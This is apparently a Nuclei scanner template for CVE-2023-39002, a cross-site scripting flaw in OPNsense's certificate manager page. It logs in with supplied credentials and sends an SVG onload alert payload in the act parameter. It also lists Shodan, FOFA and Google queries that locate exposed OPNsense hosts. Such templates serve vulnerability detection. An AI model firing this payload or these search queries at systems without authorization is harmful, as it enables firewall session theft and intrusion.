id: CVE-2023-39002 info: name: OPNsense - Cross-Site Scripting author: Herry severity: medium description: | A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. impact: | Authenticated attackers can inject malicious JavaScript through the act parameter in system_certmanager.php to steal OPNsense administrator session cookies and gain control of the firewall configuration. remediation: | Update OPNsense to version 23.7 or later that properly sanitizes the act parameter in system_certmanager.php and encodes output to prevent XSS attacks. reference: - https://logicaltrust.net/blog/2023/08/opnsense.html - https://nvd.nist.gov/vuln/detail/CVE-2023-39002 - https://github.com/opnsense/core/commit/a4f6a8f8d604271f81984cfcbba0471af58e34dc classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-39002 cwe-id: CWE-79 epss-score: 0.01162 epss-percentile: 0.6389 cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:* metadata: max-request: 3 vendor: opnsense product: opnsense shodan-query: - title:"OPNsense" - http.title:"opnsense" fofa-query: title="opnsense" google-query: intitle:"opnsense" tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1 - | GET /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0 HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_3 words: - 'value=""> "/>' - type: word part: header_3 words: - "text/html" - type: status status: - 200 extractors: - type: regex name: para part: body group: 1 regex: - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="' internal: true - type: regex name: value part: body group: 2 regex: - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="' internal: true # digest: 4a0a0047304502204be51572dcab87c198c8ef72e7627222858634a13af1106e3d157260ece0de95022100e4ff067616cc6c58c063c1aa7f5216b314df0314606682088e0f689d731145a3:922c64590222798bb761d5b6d8e72950